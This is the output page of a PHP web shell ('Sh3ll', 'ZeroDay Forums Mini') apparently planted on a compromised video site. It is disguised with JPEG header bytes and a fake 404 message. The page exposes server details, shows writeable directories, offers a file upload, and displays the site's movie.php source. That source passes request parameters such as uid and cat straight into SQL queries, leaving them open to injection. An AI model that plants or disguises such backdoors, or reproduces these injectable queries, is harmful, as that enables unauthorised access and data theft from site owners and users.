ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/code/movie.php
<?php
class movie{

    function movie()
    {
        global $CORE;
        switch ($CORE->input['code'])
        {
            default			: 	$this->gomovie(); break;
            case 'user' : $this->goVideoUser();
        }
    }
    function goVideoUser(){
        global $smarty,$CORE,$DB,$func,$print;
        $uid = $CORE->input['uid'];
        $row_user = $DB->fetch_row($DB->query("SELECT fullname FROM gtdesign_user WHERE `id`='$uid'"));
        $pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
        $pageSize = 30 ;
        $from = (($pageNum * $pageSize) - $pageSize);
        $row_total_news = $DB->fetch_row($DB->query("SELECT count(*) as total FROM gtdesign_pages WHERE `uid`='$uid' "));
        $total = $row_total_news['total'];
        $totalPage = ceil($total/$pageSize);
        $q2 = $DB->query(" SELECT * FROM gtdesign_pages WHERE `uid`='$uid' ORDER BY time DESC LIMIT $from,$pageSize ");
        while($r2 = $DB->fetch_row($q2)){
            $r2['ftitle'] = $func->format_string($r2['title']);
            $r2['title'] = trim(strip_tags(str_replace('"','&quot;',$r2['title'])));
            if(is_numeric($r2['duration'])){
                $r2['duration'] = gmdate('H:i:s', $r2['duration']);
            }
            $list_pl[] = $r2;
        }
        $smarty->assign('list_news',$list_pl);
        $nav = $print->Pagination($totalPage,$pageNum,'pages','index.php?act=movie&code=user&uid='.$uid);
        $smarty->assign('nav',$nav);
        $smarty->assign('title', 'All videos of '.$row_user['fullname']);
    }
    function gomovie(){
        global $smarty,$CORE,$DB,$func,$print;
        $where = ' noibat=1 ';
        $cat = 'Movies';
        if(isset($CORE->input['cat']) and $CORE->input['cat']!='Movies'){
            $cat = $CORE->input['cat'];
            $where .= " AND type_page LIKE '%".$cat."%' ";
        }
        $pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
        $pageSize = 30 ;
        $from = (($pageNum * $pageSize) - $pageSize);
        $row_total_news = $DB->fetch_row($DB->query("SELECT count(*) as total FROM gtdesign_pages WHERE ".$where." "));
        $total = $row_total_news['total'];

        $totalPage = ceil($total/$pageSize);
        $smarty->assign('totalpage',$totalPage);
        $q2 = $DB->query(" SELECT * FROM gtdesign_pages WHERE ".$where." ORDER BY time DESC LIMIT $from,$pageSize ");
        while($r2 = $DB->fetch_row($q2)){
            $r2['title'] = trim(strip_tags(str_replace('"','&quot;',$r2['title'])));
            $r2['ftitle'] = $func->format_string($r2['title']);
            $list_pl[] = $r2;
        }
        $smarty->assign('list_news',$list_pl);
        $nav = $print->Pagination($totalPage,$pageNum,'pages','index.php?act=movie&cat='.$cat);
        $smarty->assign('cat',$cat);
        $smarty->assign('nav',$nav);
        if($pageNum<=1) {
            $smarty->assign('title', 'Recommended movies '.$cat);
        }else{
            $smarty->assign('title', 'Recommended movies Page '.$pageNum.' '.$cat);
        }
    }

}//end class
// Run class
$run	=	new movie();
?>

ZeroDay Forums Mini